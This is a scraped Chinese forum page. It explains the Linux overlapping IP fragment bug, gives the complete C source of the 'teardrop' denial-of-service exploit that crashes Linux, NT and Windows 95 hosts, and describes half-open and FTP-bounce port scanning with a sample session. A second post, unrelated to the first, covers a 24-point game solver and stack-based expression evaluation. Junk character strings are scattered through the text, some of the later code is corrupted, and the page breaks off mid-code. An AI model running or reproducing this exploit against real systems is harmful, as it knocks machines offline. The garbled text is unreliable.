fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
: b3 [/ J! |7 v第一个碎片:mf=1 offset=0 payload=20
# t* o5 i" n  Z敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 " W3 D: D( N8 ]* Q/ F
offset=0/ j  o" q6 Z9 F- e$ O2 j0 ?* |
这样第二个碎片的 end=9+10=19
! ^1 y# {( t  f7 k' _# voffset=offset+(20-offset)=20* s' A) d0 L  ^/ |8 i# t7 O2 g
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
% n. l+ I) L- m  ?; i2 b/*
( ~2 }- e0 f1 W) k9 g; [* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97" ~3 j  s/ v9 i  `' Q8 W1 ^
*
, y+ K& T; }* r" |0 I; c* Linux/NT/95 Overlap frag bug exploit
5 {: _1 t9 J) ?# E& B: _+ |& g' m1 Z*
' W$ i0 M  N! Y1 D* Exploits the overlapping IP fragment bug present in all Linux kernels and
3 ~% M! H6 a( w* NT 4.0 / Windows 95 (others?)8 l1 P/ h5 [, z1 Y; C0 X7 r/ g
*
6 A. X  K2 l- H$ d* Based off of: flip.c by klepto! ]5 Z6 a) T; X% N3 ~
* Compiles on: Linux, *BSD*0 d, f( Z4 R7 A/ v4 o
*' j& T( v  q! j( K- _+ E
* gcc -O2 teardrop.c -o teardrop
, U- L$ V( T" z  M1 s* OR
, h1 ?) _/ \9 t: j  M0 Y4 V* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
+ b' Z, q! H( y5 G) q8 O*/</P><P>#include <STDIO.H>  y% I" l/ x: B! R4 L. {8 D
#include <STDLIB.H>9 S. [) e8 }1 ~6 |7 |
#include <UNISTD.H>( M0 o% o# Y* n7 D7 Y* p  T
#include <STRING.H>" J$ p: `, `5 S' p+ I4 o0 H
#include <NETDB.H>, ~: @! O" A) q! h5 ]( c( d
#include <NETINET in.h>
* H" \3 Y9 G) i$ N% P* s7 ?: {* N#include <NETINET udp.h>
5 y0 o- }9 ?! v5 j#include <ARPA inet.h>! \/ B+ P: L- ~- P
#include <SYS types.h>
. A$ `8 Z, N2 M+ r/ p5 X! ]5 Y: \#include <SYS time.h>
5 a( @& X* E# I4 ^! r0 X2 n#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING4 ?5 F3 L; n( o! c" \* j$ N- ]
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */9 D5 `- i0 u6 W" R" |+ T' q
#define FIX(n) (n)5 c/ M. m$ ~' w! j! o3 o
#else /* OpenBSD 2.1, all Linux */
& o$ y7 j" P. j- |1 N3 G. r3 R$ ~. V#define FIX(n) htons(n)- Z* x  |" H9 {
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
: b' ^" X" K  d4 E- u#define IPH 0x14 /* IP header size */
7 v( }" r4 g5 p. n- n+ j#define UDPH 0x8 /* UDP header size */* C; k* F. q$ g3 R+ d0 s
#define PADDING 0x1c /* datagram frame padding for first packet */
, N  h5 A' d& t6 R+ M" o5 X+ G#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
( q* a0 \/ ?2 H6 U#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can7 D) o4 }3 `3 V) C: b9 ^
* withstand maybe 5 or 10 sometimes... Experiment." T7 ~# c0 l; n) i
*/</P><P>void usage(u_char *);5 F& }5 Y8 m: O! ~) m
u_long name_resolve(u_char *);* @' i4 N# Z$ R8 X/ B, b
u_short in_cksum(u_short *, int);1 A2 E. ]9 R1 H3 g7 m) N
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
1 ^0 ?4 D1 L4 C2 {! ^0 l1 \{  H$ A: V5 |9 e+ p- L
int one = 1, # F, f* X2 d$ e
count = 0, ; E0 I& C/ u0 C; w" g& j
i, , L3 u' j* x# M8 Q
rip_sock;
1 O6 O/ b! ]( U+ I# S. o: Mu_long src_ip = 0, dst_ip = 0;
' g  E% C. `8 }) e4 \/ T0 D: Tu_short src_prt = 0, dst_prt = 0;8 L6 ~$ X/ S6 g3 z
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW8 ]) }- c9 k; |) g0 `/ J$ E
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)* Z( a' s1 U0 W
{6 y" D8 [1 ~+ j9 f) O. l' r+ _9 P
perror("raw socket");
0 @5 S5 T! q9 i+ Lexit(1);; X  H2 {9 ~2 k. l7 A
}
& n. K" _/ F" E* D/ i5 x5 v//由系统处理IP校验和。3 ~' C4 w' O6 ?" t% ]3 |
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))4 B  n8 o) T* R. y
&lt; 0)5 j2 x4 y9 Q. u- u2 P. V
{# ~, I; U2 D& E% d- q  ]5 Y5 F" d
perror("IP_HDRINCL");
( i* i+ N/ H0 W; w7 X7 J. oexit(1);& G9 o9 G1 T+ q3 H( N
}</P><P>if (argc &lt; 3) usage(argv[0]);. h, `$ b1 c; M1 ~( c' ~, |
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))' v: w6 J, N, F+ Q
{
4 Z4 S! z7 B. k2 p. W* ?1 N1 Vfprintf(stderr, "What the hell kind of IP address is that?\n");* D5 K8 e, B; n! E% o- i' L& o* {
exit(1);
& ?1 r( ~+ ~( O/ O- d}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF); H- X+ }% l& Q  W! H) z
{5 G% R# a' _9 p8 }0 H( u) m
switch (i)
* b' x) A+ s4 m3 _7 e: ~5 z* x{+ f. J5 U* g: j
case 's': /* source port (should be emphemeral) */2 _% u9 Y& U" Z
src_prt = (u_short)atoi(optarg);! ^" s6 H8 z( l8 v' U/ r
break;
7 E: V; Y, N/ Q7 Rcase 't': /* dest port (DNS, anyone?) */) e, ~- s5 T) @* ]% e
dst_prt = (u_short)atoi(optarg);: T8 f- O# l  z/ |/ A9 i2 S$ ]. w9 i
break;
  M$ a3 v% s) d0 P; E( r- Y- dcase 'n': /* number to send */% u7 A2 L1 x  N% O/ k7 p1 a3 J
count = atoi(optarg);, ^: z, S$ `7 V  ^4 }
break;
% @- U* |! Z( f( g% c" A. Ndefault :7 \4 C  j( c* }( j' `( ?$ j
usage(argv[0]);
% [) }) f- r( u7 \6 |) {) C7 f. `break; /* NOTREACHED */' x$ K1 o( y9 u9 Y
}
7 {& P5 p8 u! l5 h  f}</P><P>srandom((unsigned)(time((time_t)0)));
+ Z: M# V+ m5 A& tif (!src_prt) src_prt = (random() % 0xffff);: F) @6 ?3 _' Y( u( {& L# T
if (!dst_prt) dst_prt = (random() % 0xffff);) Z- g2 B" P4 {$ q9 \
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");" _' S. d* r9 K' w' l" \/ z
addr.s_addr = src_ip;' b* K4 s8 G  V
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
& ]5 y5 f* {' g. saddr.s_addr = dst_ip;8 q4 m2 F0 ^( x- t' y# L
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
, @( [4 y) N+ d& ]/ Afprintf(stderr, " Amt: %5d\n", count);: j  d( w6 c7 a1 j( i! d
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)$ }% ^4 g& `: a( ~: W! V5 J
{; o! H3 v' Q* l) W) s
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
0 m9 N  d! d  M  Bfprintf(stderr, "b00m ");
+ J! d  V0 v5 K6 O; l( iusleep(500);
1 l% @) Z2 j' e% v. n8 e1 H1 v}' F# m) _9 j5 g; q  _
fprintf(stderr, "]\n");
6 W! s2 K% [* \% Vreturn (0);7 o( a2 ~" q  W8 }0 j2 ?/ z
}</P><P>/*
. B! m0 X( ^  l* }* Send two IP fragments with pathological offsets. We use an implementation) J0 B" u3 `5 c4 s3 w* c8 }
* independent way of assembling network packets that does not rely on any of
: N# g  g( A" m# p* r* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).9 f& Y3 D7 A/ g1 T
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,4 i0 K3 q- X+ V; X( m# W3 S# \
u_short dst_prt)$ Q# @) ?: Y7 X7 U( y" ~
{
' l, {  [" E  l$ Y+ g2 l% f& au_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
$ d) Z$ t7 z; G+ ]: Pu_char byte; /* a byte */: t1 {6 B; G( R* l' }
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
! P. ?, E4 S! _: Y# ?* c; o/ S" fsin.sin_port = src_prt;' ]7 G3 `+ i2 f7 u; G& J& X
sin.sin_addr.s_addr = dst_ip;</P><P>/*% h2 X2 U. X2 z+ H1 u! E
* Grab some memory for our packet, align p_ptr to point at the beginning0 s: t( ^  }' t; X4 c3 G( z
* of our packet, and then fill it with zeros.
% C( A# ^/ M, V* g4 o*/4 v4 U( J4 ?0 k. X
packet = (u_char *)malloc(IPH + UDPH + PADDING);
7 z) I$ S: q, x; v+ ~p_ptr = packet;
3 N. Y) e9 B( W( t/ o/ Rbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
2 d) W  T' m* X2 ~# l( X7 U: O; Rmemcpy(p_ptr, &amp;byte, sizeof(u_char));
& x% x5 m* K* Z* e6 b. K5 ap_ptr += 2; /* IP TOS (skipped) */! a$ _" f% n# g4 R4 ^  Z5 j
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
- F+ [& _/ y* C8 q7 Y' Fp_ptr += 2;4 j  u, m+ A7 f
*((u_short *)p_ptr) = htons(242); /* IP id */, n. _9 X; ?' Z9 ]4 U( l
p_ptr += 2;" q6 D8 U& ?6 Q! r* T  a3 K
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */) ]# a7 g( i4 [; R7 S" n
p_ptr += 2;
' O5 Q8 v5 D# F6 T*((u_short *)p_ptr) = 0x40; /* IP TTL */
$ B9 |# Y7 r' c$ B( _% e3 [byte = IPPROTO_UDP;
5 @% T& L/ ^9 P7 v6 p1 ^" L8 omemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));! }1 N  M* W% ^- f- E% `" J' k9 k
p_ptr += 4; /* IP checksum filled in by kernel */
% q; e/ k2 o7 q*((u_long *)p_ptr) = src_ip; /* IP source address */
3 n6 D' A& |+ M1 Gp_ptr += 4;
! N, v6 q5 \, Z) `3 n7 H# r*((u_long *)p_ptr) = dst_ip; /* IP destination address */5 X  l  G$ w2 L/ X7 z  q1 `
p_ptr += 4;
" D7 p( {+ S2 |, W9 u$ l*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */; q2 P% p& H/ r3 B# u- ^
p_ptr += 2;0 ^" z) h1 W" ]+ P+ q; H
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
. L2 C8 y" u( M$ e' R  Jp_ptr += 2;/ f" B( `7 |/ b' R, J( M
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,  P' D/ I( Z6 Q" ^/ J+ W
sizeof(struct sockaddr)) == -1)
4 \8 b9 s- G, N1 T) X0 I) W4 {  ]{
) ]+ e' [8 E: z9 e5 N& ^2 |perror("\nsendto");: ?/ s2 N6 K# e$ @* i; W( a
free(packet);
0 s8 G" U/ f$ k  _exit(1);- @# F9 J. `0 G! J
}</P><P>/* We set the fragment offset to be inside of the previous packet's
$ v; w3 j+ b- c0 q( Y3 j6 d* payload (it overlaps inside the previous packet) but do not include
/ U0 O2 r8 V: c* enough payload to cover complete the datagram. Just the header will
& F. r' N( Q: w* do, but to crash NT/95 machines, a bit larger of packet seems to work
* n) q8 w3 y" u# y" K7 l  C6 a* better.
; Y9 N4 l6 b7 w) v*/# ^' B. }3 I1 @% G
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */+ r5 n  ^$ x- f" W
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
7 @# d. n* A/ [$ Dp_ptr += 4; /* IP offset is 6 bytes into the header */
/ ~' ~2 [: n+ ^" L& X3 Y) V! s*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,7 {! f8 A& U! I0 \2 _
sizeof(struct sockaddr)) == -1)& |0 i" N: O( R( Y
{5 w3 t/ q5 [0 K/ Q* [4 e$ u
perror("\nsendto");
5 b4 l9 z9 f- T" u. U9 T# W2 nfree(packet);
$ i* I3 E) t$ Pexit(1);
4 f) U# B- h# X1 K& j2 t' h}
" Z; a2 c4 q6 ~1 p9 zfree(packet);: K8 {6 [8 \3 @- p! G$ m# W! s
}</P><P>u_long name_resolve(u_char *host_name)
7 Q- F" A/ |+ e$ @, A0 i3 W{" f' j$ ~  p  }" ^1 J* a4 n# Q: _0 I
struct in_addr addr;
9 }7 c4 {/ t( Istruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
) i" I$ r: O  x- x{& }4 e3 [- x- T: l
if (!(host_ent = gethostbyname(host_name))) return (0);# h9 w3 v) Y4 a4 n$ q3 X1 P0 H5 }3 ?3 i
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);7 e- ]) H8 O# @8 S
}
  [+ M$ y0 B- W! ~return (addr.s_addr);- \9 W8 t- s5 m9 Z2 P. ~
}</P><P>void usage(u_char *name)
. q8 A: f; k3 X  |# v% A{! {9 {9 i. \- l0 W
fprintf(stderr,2 `) V% z8 H1 S. U  A$ ~
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
, S3 s" q6 k9 @1 s6 s; Qname);; H7 A) ~5 e  [1 o3 t
exit(0);
7 X& O  }  f6 f( E! @) w& ~}</P><P>
% G( C! z- M. M* N( |. |4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: : [! h: G) s) e# Z! F* Y
(1) Half-open(半打开)0 m6 c2 ~7 F5 z
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
6 @0 F% d- i) }. R9 }) n如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner2 d* m/ k- k& ]) g9 }/ o
利用了FTP的port命令,例如可以这样作:
" U0 s: z8 c, Q% T' S# ]选择一个FTP服务器,连上后令port命令指向目标机,如果返回4 Y) p% L% V( Z" X: l3 P
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
9 L* U6 L$ o1 z2 U+ t6 |该端口无服务。
* [0 l9 r" a& Q/ j1 @telnet 192.168.1.13 21  S+ [! m5 s, ?* C" M9 E% r9 _
Trying 192.168.1.13...
9 k3 V, n. y' u( N" b  Y/ mConnected to pp.bricks.org.
6 V% J! M2 e8 F$ x3 i# N* {Escape character is '^]'.: [5 z0 l0 E% {0 [$ t
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) / E" K3 W+ I) t, v
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous: a% Y9 E, H! l' f6 G& f& O( C
331 Guest login ok, send your complete e-mail address as password.
8 M4 |( L& O1 k  D! l' m' K) ^" Qpass aa@aa.aa
6 I! E& D9 d/ S7 O230 Guest login ok, access restrictions apply./ l6 c& u7 ^3 Q" J
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.0 S& ]# E: ]/ `' r" `' n
425 Can't build data connection: Connection refused.$ g" e3 Q# h1 H0 Y6 j( u- |
//该端口未活动
6 y( i. e; w" X; ]4 ]150 Opening ASCII mode data connection for file list.5 k( h$ }6 Z  n. m
226 Transfer complete.9 w0 J- `0 t/ ^( K: |+ c+ V) C
//该端口活动中. O, U: p! C1 e; D0 A0 z
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
2 `8 [5 p( f* L" O5 I7 `SYN|FIN ACK or SYN|ACK* RST
' z5 |* J8 _, rACK Nothing RST
( {" K. d) p- d0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
$ E* o4 l& c( C一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,- d- |8 Q- U7 e" m& v& \0 R
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认, d- \/ n' n/ f3 k+ a# @
定它在向你做portscan。</P><P>notes:
7 J) w6 d1 s" Y, n' q* S早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
& K! m1 M: a" j# F而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的/ m5 ^8 j4 Q" F; {2 y
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
1 B) V8 U/ N1 ~$ T  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。" w" C- P2 w. L! d1 a
3 E' T% H- A8 Y; [5 \' s, H. a1 t! R
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
+ Q$ R9 Y. ?9 x1 J* M; i首先穷举的可行性问题。我把表达式如下分成三类——% O% b( _$ |* {& `/ u% Q
<FONT color=#ff0000>1、 无括号的简单表达式。/ q. s& c. a6 g* Q, `3 X; V
2、 有一个括号的简单表达式。/ D/ z1 C* [% D) D7 B4 _. L! C
3、 有两个括号的较复4、 杂表达式。8 R* B. b, [7 Q4 ~0 u# ], ^( r
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:8 U2 E, v8 X0 x: t; n# `! l9 N) }
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
  [3 O  I" ?9 g9 v; r/* c[] 存放四张牌的数组 */
7 F0 v& P- Y2 P; ^- _/* k[] c[]种四张牌的代号,其中k[I]=I+1。& ?. Q. J5 J: Z) |3 D: `- B4 m
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */# V% p( [- q' y3 X  R+ n
/* kans[] 暂存生成的排列组合 */  u& w% {2 J2 u, s. u8 C, x
/* j 嵌套循环的次数 */
# B. L3 G' {5 P" E, V: P: {int fans(c,k,ans,kans,j)
2 a) u& F5 d1 N1 R. f. |- Jint j,k[],c[];char ans[],kans[];9 a# Q* s$ J, K" R" i; {
{ int i,p,q,r,h,flag,s[4],t[4][4];
4 {; W1 M. n* dfor(p=0,q=0;p&lt;4;p++)
( {* R# x8 E* G+ u{ for(r=0,flag=0;r<J;R++)
$ }7 \! }; D: f9 f3 C if(k[p]!=kans[r]) flag++;7 N- Q8 f  `- a5 }  ?4 `8 I
if(flag==j) t[j][q++]=k[p];
6 ]* |) E7 g; e) T& [}
- Y4 z; R" M* G; t. D& xfor(s[j]=0;s[j]&lt;4-j;s[j]++)
/ G+ p' P- N( {( I: v. x{ kans[j]=t[j][s[j]];9 I2 s5 r: z4 Y; T8 k+ N. |2 N
if(j==3) { for(h=0;h&lt;4;h++)- _8 b4 g( n* p( r- f
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
. d. s8 D9 C9 [; F达式中的位置 */
4 a  ^: S  ?) h0 o, ]  R* D! kfor(h=0;h&lt;3;h++)' b' K- W0 s( `- W
symbol(ans,h); /* 在表达式中添加运算符号 */
: H5 X4 y4 ]. G4 \}
% `8 C) |4 P% uelse { j++;
1 d/ B) f, [) }" F% K; Ofans(c,k,ans,kans,j);
5 K/ d) j- s; C# x& h3 Pj--;
, ^* e  M$ x; P' T! D}
5 s9 L. `" I4 F. ^% T}
. u5 q# W- [3 n! a  D; k}</FONT>; k2 H/ Z" N7 E; }; N

0 F' k, `2 k& B" ?0 V: _. G  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:% j. k' O) l  X8 A8 v$ ~
5 N* E, [0 @. b
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/) I8 L6 O, }' P9 ~5 T
int sans(ans,sy,j,h)
6 v1 V2 ~5 g* L) ^" v5 S! Bchar ans[],sy[];int j,h;
( @" o' Y, z% Z7 f# z{ int i,p,k[3],m,n; char ktans[20];/ v2 ]5 V1 H0 D: K0 i( P
for(k[j]=0;k[j]&lt;4;k[j]++)! M0 A' b% i4 H- v# V" c2 b: a* c
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
  A0 ^0 Q2 g2 `% x5 p这里的三个运算符号分别存放在1、3、5位*/
9 H$ j7 m9 H* |; Z5 \if(j==2)
) U' v; J4 w0 }6 C6 l$ ~  M{ ans[5]=sy[k[j]];% K2 d1 ]1 I7 ]$ |+ u4 p7 r8 q
/* 此处根据不同的表达式形式再进行相应的处理 */! `. Z+ _2 l$ t4 ]* H# u* y
}; N8 h* n- u" V; w" p
else { j++; sans(ans,sy,j--,h); }
' K" V9 ~' W3 P8 s}
2 v% `* l; Y6 `4 R& Y: K" y}! x( V- ~5 \) R) D. H+ r2 E& N

; P8 M; E9 U8 V</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
! Q0 A! O7 a* l) Nfor(m=0;m&lt;=4;m+=2)
) g* w! M0 w9 x4 dfor(n=m+4;n&lt;=8;n+=2)* @5 F% |& H3 S7 j( s
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。" G* s, I# G: s2 {

$ Q& r, J. x- p4 h  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
1 B3 T" d! d: \. g$ Y/ K% l</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
6 T% b1 U) M& S; e1 n4 h) n! |& N在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
2 I1 ^; R6 M- ~7 N3 z% T& i, N
3 h- u6 x- D' Z7 A  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。2 v( d9 O: }) f8 S6 Z' }/ q7 g

$ M! K- G3 n# q  那么作为栈的著名应用,表达式的计算可以有两种方法。
$ F& P$ B3 {8 n3 W! _& m. j" q' H0 \  i# ~- j9 m+ A0 W& \
  <FONT color=#ff0000>第一种方法——</FONT>( ?* w+ O! ?5 }
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
+ G% V; j0 B6 J2 p  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
: F6 ?8 I0 Q: M" V. A& _6 u1、 若W为操作数+ Q* A# _; c3 m
2、 则将W压入操作数栈OVS  t( m  E5 L- H$ w; J
3、 且继续扫描下一个字符
. L" `% H+ y" E" D1 @# [7 b; y4、 若W为运算符( I) t% x9 X+ F( g, M3 ?8 h
5、 则根据运算符的性质做相应的处理:6 A, G( F7 |* d4 G8 S
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。6 ]( a( ~  V& G# p  S/ v) V5 O
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
" V& s- X- V4 T* u1 Z2 S' w(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。0 ^) a% M4 R" k/ c$ l1 _. O
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。8 [4 L3 R! r  X8 O3 _1 B7 _; a2 k

1 T) x' Z; H" @. U<FONT color=#ff0000>  第二种方法——</FONT>
3 W1 Y) J' V5 D& |" w9 A9 F: [9 e  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。( X3 F4 l  U6 C1 N0 N9 t" M
6 i6 B& m/ D% P2 b; [
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
0 e! y+ I* |. W* a9 A! e  S; V4 |
% ^. n- D$ U" E. h' |6 W   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。5 K) ]* P1 O- |3 k
表达式 波兰表达式
! T7 y3 e3 m% I3 \, Z9 SA-B AB-
' `4 v5 w( {7 t4 s( q(A-B)*C+D AB-C*D+6 B6 N& O, o4 D! }: ~' x6 `& V
A*(B+C/D)-E*F ABCD/+*EF*-  c- z4 z1 C, x
(B+C)/(A-D) BC+AD-/* e3 h# T5 Y. i) {. T5 G
% i3 V# K1 h( O3 U( s
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
, p% e+ D. p" L# E  O) Q7 F7 U( f( ?% o, U) y' w. P
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
0 m/ S6 W6 p5 q7 ?
9 D: w, k" [4 n& x: {* M6 N  下面给出转换和计算的具体实现程序——8 @$ u8 Q1 U9 k# ]

4 p2 T$ f) Y( U  B* L# B<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */  Q" a2 o/ {* v- Z$ @/ x% _9 k, D" s2 @
int first(char c)5 i6 `. O. T7 q& q9 |
{ int p;& x7 o$ t4 b% Z3 M0 @
switch(c), B) T* r0 v3 `1 P
{ case '*': p=2; break;: a3 ]# {3 u$ d$ s! l; I
case '/': p=2; break;
: S" N' Q6 B- u4 s( |case '+': p=1; break;, S/ W8 s% A+ I# I+ `- l
case '-': p=1; break;4 `' c7 ]' `" f# B5 e3 e5 \$ f
case '(': p=0; break;
  \/ Q9 b4 X) vcase '=': p=-1; break;! C( Y8 Y; H8 i
}
( H) L9 N% W% f6 K& z( ereturn(p);( `! ^, E' p' }3 ?2 x$ f
}
6 z, ?* j; J0 V2 Y$ V' ~/* 此函数实现中缀到后缀的转换 */! l  E, B& o0 L4 o/ ^
/* M的值宏定义为20 */
2 ?7 I4 a* B& @$ B/* sp[]为表达式数组 */
